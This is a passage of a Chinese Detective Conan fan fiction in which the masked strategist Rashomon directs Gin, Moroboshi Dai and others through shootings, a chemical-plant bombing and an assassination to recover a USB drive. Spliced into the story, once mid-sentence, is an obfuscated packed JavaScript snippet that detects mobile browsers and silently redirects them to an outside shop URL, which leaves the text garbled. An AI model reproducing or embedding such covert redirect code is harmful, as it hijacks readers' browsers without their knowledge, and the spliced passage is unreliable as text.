RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“四点钟方向,蓝色衣服。” “十一点钟方向,黑色衣服。” “九点钟方向,带墨镜的男人。” 随着拉门尼报送的点位,伏特加配合地放缓车速,而琴酒瞄准了大面积的躯干,毫不犹豫地一枪一个,命中目标。 看起来只像是普通居民的三人在中枪之后却没有流淌出鲜红的血液来,只是捂着伤处倒地疼痛呻.吟着,看样子是穿了防弹衣。 诸星大默默计算着距离和威力,只觉得这些异国同僚们不是很走运,这个距离即便穿了防弹衣也会因为子弹冲击导致肋骨骨折,大概率丧失战斗力了。 装了消声器的伯莱.塔声音沉闷,连续三枪之间的间隔很短,趁着公安还没反应过来,拉门尼指挥道,“伏特加,加速进入工业园区。” 漆黑的保时捷犹如一道利箭,飞速开进了机器轰鸣的沉闷工业园区,被货车压得开裂的沥青路面散落着碎石与起伏不定的坑洼,对于坐车的人而言体验实在糟糕。 然而在这个黄昏落日的逢魔时刻,有如潮水般涌动而出的无数工人们,正习以为常地忍受着跟他们同样的糟糕体验。 “琴酒。” 半山腰的太阳死去了,回光返照般挥霍着最后的余晖,天边是熊熊燃烧着的火烧云,耳麦中传出拉门尼古怪的、冷静到近乎冷酷的残忍指令。 “在这里,弄一点动静出来。” 坐在他身旁的琴酒勾起嘴角,森绿的冷眸之中流露出了跃跃欲试的兴奋和同频共振般的残忍。 “如你所愿,拉门尼。” 17.第 17 章 诸星大很快就知道拉门尼所说的一点动静是指什么了。 伏特加找准了化工厂,漆黑的保时捷如同黄昏时出没的幽灵般悄无声息地经过,而琴酒扯开了拉环,将手榴弹透过半开的窗户扔了进去。 极度静默的几秒钟里,诸星大只觉得自己的呼吸都停止了一瞬间,心脏砰嗵跳动的杂音吵闹得吓人。 ——而后,爆炸发生了。 “轰隆——!!” 这平常、庸碌的回家时刻里,轰隆的剧烈声响在化工厂的一角炸响,夹杂着粉尘石块的冲击波掀翻了路人和车辆,这只是开始。 间隔不过两分钟,第二次爆炸发生了。 易燃的化工原材料蓬出了冲天的红彤彤火焰,熊熊燃烧着的液体冲破了围挡,犹如一条火焰的长河顺着缺口向外汹涌流淌着,将整座化工厂化作一片炼狱。 哭声、喊声、惊恐的求救声,一瞬间打破了傍晚的平和,近处的人往外逃,远处的人停下了脚步震惊地驻足看着眼前这一幕。 自然,附近的公安人手也不得不过来救援和追击,拉门尼的目的已经达成,那座公寓楼外保卫力量被削弱了许多。 紧张的警笛声在身后此起彼伏、暴怒地响起,伏特加将油门一踩到底,横冲直撞地破开了一条逃生之路。 诸星大紧握着车内的拉手,努力在摇晃的车身之中稳住自己,也将脑海之中的杂念清空,他告诉自己,别想,别去想太多。 集中注意力,别忘记自己的脖颈上还有个要命的东西。 真奇怪,在那样震耳欲聋的爆炸声之中,他竟然还能捕捉到镶嵌在项圈上的微型摄像头如同某种活物般上下左右移动的骨碌声。 ——竟然还有闲心思考,其实拉门尼根本不需要他调整视角,他或许只是喜欢人像狗一样服从命令而已。 琴酒摇下了车窗,半个身子探了出去,他银白的长发犹如绸缎般在烈风之中摇摆,脸上的神情实在骇人,森绿色的瞳仁缩成了针尖般的大小,仿佛享受着这份吊命于悬崖边的刺激感般,比野兽更兴奋,比疯子更疯狂。 亡命徒举起了心爱的伯莱.塔,瞄准着身后追兵的车胎,砰砰几枪射去,就听见滋溜不稳的刺耳摩擦声、砰嗵撞击的碰撞声、惊恐不定的喇叭声接连响起,阻塞了整条街的交通。 琴酒收工,坐回了座位上,伏特加载着他们一路冲进了偏僻的小巷,几个绕弯甩脱追兵。 拉门尼再次下达了指令,这一次,诸星大终于听到了他希望的部分。 “伏特加,开回公寓楼附近,找一个没监控的地方放下琴酒和二号,你一个人开车引开追兵。” 如果就这样充当着移动监控探头直到最后的话,他对于组织而言就没有丝毫意义,换成任何一个底层成员都是一样,他必须展现出自己的能力和价值来,才能往上爬,接触到更多的情报。 耳麦的公共频道里响起了消失已久的贝尔摩德的声音。 “你们那边很激烈嘛。” 真不知道拉门尼给她分配了什么任务,她竟然还能这样悠闲地调笑着,“半个市的警力都朝你们那边过去了,真壮观。” 拉门尼的电子音还是一如既往的冷静,“找到人了吗,贝尔摩德?” “当然,不过你们闹出的动静太大了,目标停下来在看热闹呢。” “用扫描仪确认下。” “如你所料,草野礼佑并不信任公安。” 如同打着哑谜般的对话让诸星大费解,但他不动声色地静静听着,没有提出什么异议。 “哼哼。” 真奇妙啊。 明明只是扭曲了音色,连年龄和性别都区分不出的电子音而已。 诸星大却依然能从这其中敏感地捕捉到不知身在何处的拉门尼的情绪。 那是犹如孩童般的天真与兴奋,就像是在玩捉迷藏时即将揪出所有人的胜利者会露出的得意洋洋,但又带着早有预料般的了然和看透一切的无趣。 无端的,诸星大从心底里漫上了一股寒凉。 “开枪吧,科恩。贝尔摩德,你来回收u盘。” 科恩喑哑的声音在公共频道里响起,“收到。” u盘,竟然在贝尔摩德那边吗?是什么时候?难不成草野礼佑在他们那边?不,不对,如果是这样的话,拉门尼就没有必要让他们在这栋公寓楼下车了。 贝尔摩德冷静地提出要求,“扫描仪里显示他身上携带了很多金属物件,很有可能是用来迷惑眼球的大量假u盘,要搜身的话,需要科恩帮我争取一段时间。” 拉门尼很奇怪,“为什么要搜身?u盘不就在那里吗?直接去拿就可以了。” “啊啦,拉门尼,我可不是你这种天才,只有这点信息的话可没法判断出他将真正的u盘藏在身上哪个地方。”贝尔摩德的语气里透出些亲呢的笑意,“直白点告诉我吧。” “真无法理解,明明是这样显而易见的事情……”拉门尼嘀嘀咕咕地抱怨着,还是拿出耐心来指挥道,“草野礼佑的父亲是个残疾人,右腿早年车祸丧失知觉、残留了骨钉和大量的手术伤疤,对于草野礼佑而言,绝对不会背叛自己的父亲就是最好的藏匿地点。” “贝尔摩德,沿着那些陈旧伤疤找一下新鲜的伤口痕迹,里面就是我们要的u盘……真来不及的话整条腿带走也可以,回去之后慢慢找。” 贝尔摩德轻笑一声,懒懒道,“ok,交给我吧。” 真叫人毛骨悚然。 在明知道组织追杀的情况下,竟然将u盘藏进自己父亲的身体里。 但比起这更让人恐怖的是那两人轻飘飘将这件事揭露的漠然。 诸星大攥紧了拳头,呼吸有些错乱,但拉门尼已经开始下达下一个指令了。 “二号,给我公寓楼的视角。” 诸星大深绿的眼眸闭了闭,冷静地照做。 这是拉门尼第二次提出这样的要求了,让人不禁想象,他难道是仅凭着现场短短几秒的细节来灵活调整着整个行动计划的吗? 坐在车里时,防窥玻璃将一切场景模糊了,此刻暴露于夹杂着呛人化工品气味的户外空气之中,诸星大也尝试着去观察着这栋红砖外墙的老旧公寓楼。 被不远处发生的爆炸案所吸引,已经回到公寓楼中的不少住户纷纷走到阳台上,探头去看那熊熊燃烧了半边天的火光,炙热的气浪扑面而来,除此之外,密密麻麻如鸟笼的每个房间都显得那么普通,根本找不到草野礼佑的藏身之处。 ——很遗憾,什么都没看出来。 但拉门尼就好像存在于一个与他不同的世界般,毫不犹豫地标记了几间公寓,“605号,1207号,1403号,琴酒,你们两人去这三间公寓查看。基安蒂负责支援。” 琴酒没有回话,他是个喜欢用行动代替语言的男人,立刻就摸到了公寓楼的后门,从消防通道上去了。 看热闹的人群给他们带来了很大的行动便利,本应该人来人往的连廊和楼梯上空空如也。 看他熟门熟路的样子,诸星大确认了,我行我素的拉门尼一定只给琴酒发送了公寓的结构图,导致他现在为了跟上琴酒快如闪电的速度,不得不紧贴着他的身后,招来几个阴测测的白眼。 605号公寓的房门紧闭着,不过对琴酒而言不成问题,他一枪打掉了门锁,带着漆黑皮手套的手抠掉了多余的金属碎屑,直接推门进去,一个房间一个房间的搜查,没放过任何一个柜子。 很可惜,没人。 “不是605号。”琴酒在公共频道里共通着信息,拉门尼只是静静听着。 不知何时起,诸星大没有再听见他吃零食的声音了,或许是终于吃饱了,算下时间,大概顺带着解决了晚饭。 “不是1207号。” 直到最后一间公寓。 “……不是1403号。” 基安蒂都做好狙击准备了,闻言疑惑道,“嗯?我这边可没看到有人逃跑。” 琴酒冷冷道,“拉门尼,你在耍我。” “不。”拉门尼冷冰冰的电子音之中莫名掺杂了些令人毛骨悚然的阴冷,他说,“抬起头,琴酒,他在天花板上。” 一颗子弹悄无声息地射出,像只鸟儿,扑向它自有的归宿。 ——诸星大猛然发力,将琴酒扑到在地,那颗险些致命的子弹擦过银白色的发丝,砰地嵌进地板中,黑发青年猝然反手抽出后腰的手枪,凭着感觉朝着子弹射来的方向砰砰回以三发子弹,冷冽的绿眸里是专注到极致的平静杀意。 天花板被子弹破开了一个幽深的黑洞,一大块陈旧朽烂的木板砰然坠下,一个人形一闪而过,一声闷哼掺着一行狼狈血迹宣告他即将终结的生命。 琴酒爬起身来,一双森然的冷眸瞄准了如同老鼠般在天花板咚咚逃窜的草野礼佑,嘴角扯出了个恐怖的冷笑来,他从怀里掏出了一枚手.雷,毫不犹豫地扯开拉环,朝天花板的黑洞中丢去。 诸星大瞳孔紧缩,反身就朝门口冲去——琴酒真是疯了不要命了!他们可也在公寓里头呢!! 琴酒算好了时间,施施然从1403号公寓里走出,还不忘关上了大门,他侧身贴紧墙壁,只等着屋内传出手雷爆炸的一声沉闷巨响后,就又重新打开大门,在一地狼籍里精准地找到了草野礼佑仍在呼吸挣扎的焦黑残躯,抬手用伯莱.塔在他的要害补上了两枪。 “动静太大了,琴酒。”拉门尼毫不留情地叱责道,“别从连廊走,从阳台离开,让基安蒂给你们断后。” 琴酒冷哼一声,“知道了。” 拉门尼紧接着说,“贝尔摩德,来公寓楼接应。” 贝尔摩德轻笑道:“没问题,马上就到!不过我的车子有点小,只能麻烦琴酒和新人君忍忍咯。” 而诸星大还在思考一个问题,从阳台离开?怎么从阳台离开?这里可是14楼。 这个问题的答案下一秒他就知道了,琴酒带了个好头,他甩开了碍事的风衣,扔进1403号公寓已经开始燃烧的火焰里,里面是防弹衣、紧身打底和方便行动的长裤,一脚踩上阳台的护栏,直接跳了下去。 跳了下去。 诸星大:…… 拉门尼奇怪地问,“琴酒二号,你还在等什么?快,跟着离开啊,公安马上就到了。” 的确,诸星大已经听见连廊里传来凌乱而急迫的脚步声了。 这一刻,前方是自由落体,后方是枪林弹雨,诸星大无需思考,下一秒果断地冲向了阳台,选择了跟随琴酒的步伐跳楼。 比他想象的好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604362|186987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,琴酒并非超人,他只是如同跑酷运动员般隔个两三层楼重复折线向下跳跃,这个逃跑路线诸星大可以轻松复刻,对于公安警察来讲却有些难度,即便咬牙跟着跳了下来,也立刻被基安蒂一记冷枪射中,倒在不知哪户人家的阳台上痛苦呻.吟。 直线下楼果然快,只不过三十秒钟的时间他们已经抵达一楼,坐上了贝尔摩德的银色轿跑,开始逃跑。 又一场激烈的追逐战开始。 但诸星大心中已然毫无波动,他已经认清了一个现实,这个国家里的废物警察想要玩过拉门尼,还是再等一百年吧。 等到拉门尼自然老死在床榻之上,那时候日本警察界自然会重振旗鼓。 。 甩脱了追兵之后,他们换了个据点碰头。 这回是某个临近海边的废弃加工厂,黑黢黢的加工厂里灰尘满地,走进来时张嘴吸一口沉闷的空气,立刻就会呛到气管。 啪。 科恩按下了开关,大功率的工业灯泡散发出惨白色的光芒,照亮了内部。 贝尔摩德还穿着一身家庭主妇的朴素衣服,用着一张腼腆可爱的雀斑脸,只有声音格格不入地恢复了女明星的妩媚,她从口袋里拿出那枚u盘,扔给了琴酒,“接下来就交给你咯,琴酒。” 琴酒伸手接住u盘,对伏特加说,“把电脑拿过来。” “是,大哥。” u盘里的秘密资料究竟是什么,只有拉门尼、琴酒和贝尔摩德知道,他们之所以任务结束以后还在这里碰头,正是为了确认u盘的真伪。 如果u盘是假的,那么任务就还没有真正结束,根据boss的指令,他们必须立即再次出动,采用更加激烈的手段,毁灭一切可能藏有u盘的地方。 伏特加取来了一台厚重的加密笔记本电脑,外接解码器,琴酒将u盘插进接口,输入密码后,开始快速浏览里面解码后的真正资料,一行行文字在他冷冽的森绿眼眸中滑过,片刻后,他扯出一抹称不上笑容的弧度,“收工!” 他随手将u盘扔给了伏特加,对方默契地将u盘封入特制密码箱中,准备带回研究所。 “总算结束了。”基安蒂从集装箱上跳了下来,“真可惜,这次我可是一个人都没杀呢。还有。” 身材高挑的短发女人疾步朝诸星大走来,纹着凤尾蝶的左眼死死抵上他脖颈上的微型摄像头,细小的瞳仁带着疯狂而嗜血的戾气,“拉门尼,下次记得亲自来任务现场。” “我可是……很想知道怪物的真面目长什么样呢哈哈哈哈哈哈哈哈!” 诸星大不得不微微仰起头来,以免蹭到基安蒂棕红色的头发。 项圈久违地出现了震动的感觉,拉门尼在懒洋洋地回话,“如果boss要求的话,我会的。” “boss、boss。”基安蒂的脸扭曲了一瞬,发热的头脑犹如被一盆冷水兜头浇下般冷静了下来,兴致全无,她切了一声,“真不知道boss为什么这么偏袒你……算了,科恩,我们走。” 科恩一声不吭地跟上了气冲冲的基安蒂。 贝尔摩德摘下了闷热的易容.面具,露出了真容,轻松地呼出一口气来,她一双漂亮的眼眸扫过诸星大,朱唇轻张,未语先笑,“新人君,身手不错,竟然到现在都没死掉,真让人出乎意料。” 显然。 这次的任务难度高到不像是给新人做的,连贝尔摩德都这样觉得的话,那么他已经危险了。 诸星大冷静地判断。 他沉默以对,没有回话,只是抬手摸了摸脖颈上的项圈,摄像头那令人不适的转动声响得越发频繁,电路流通的发热信号总让他有种危险的错觉,好像下一秒钟,这个炸弹就会毫无征兆地被引爆,他的脑袋会像基安蒂所描述的那样,分裂成令人作呕的碎片,噼里啪啦地掉落一地。 琴酒冰冷的视线已然锁定在他的身上,他似乎一点没有为诸星大的救命之恩所动,那野兽般的绿眸里只有森然的审视和评估。 注意到他的举动,琴酒倏地冷笑一声,“走吧,伏特加。” 银白色的长发划过一道锋利的弧度,琴酒大步走出了这个废弃的加工厂。 伏特加应了一声,提起密码箱和电脑快步跟上了琴酒的步伐,壮硕的墨镜男人在经过诸星大身边时犹豫着,小声提醒了一句,“要解开项圈的话,只要拉门尼同意就行了,唯一的钥匙在他手里。” 现在,这座空旷、死寂、透不出一丝生机的废工厂里,只剩下贝尔摩德和诸星大两人了。 这次任务从头到尾都没怎么说话的新人终于开口了,微微沙哑的声音很冷静,“贝尔摩德大人,为什么还留在这里?” 贝尔摩德意味不明地轻笑了一声,慵懒地靠在了集装箱上,即便是显不出丝毫身材的宽松衣裤都难掩她身上的那种魅力,她点燃了一根烟,衔在指尖。 她好心地回答,“因为好奇。” 与她的声音同时响起的,还有拉门尼的电子音。 “——她在好奇,我直到现在都没有给你解开项圈的理由。” 那古怪、刺耳、被电波扭曲了的声音,仿佛从地狱传来般阴冷瘆人,带着死气逼近的诡风。 “这个理由,你应该很清楚。” “诸星大。”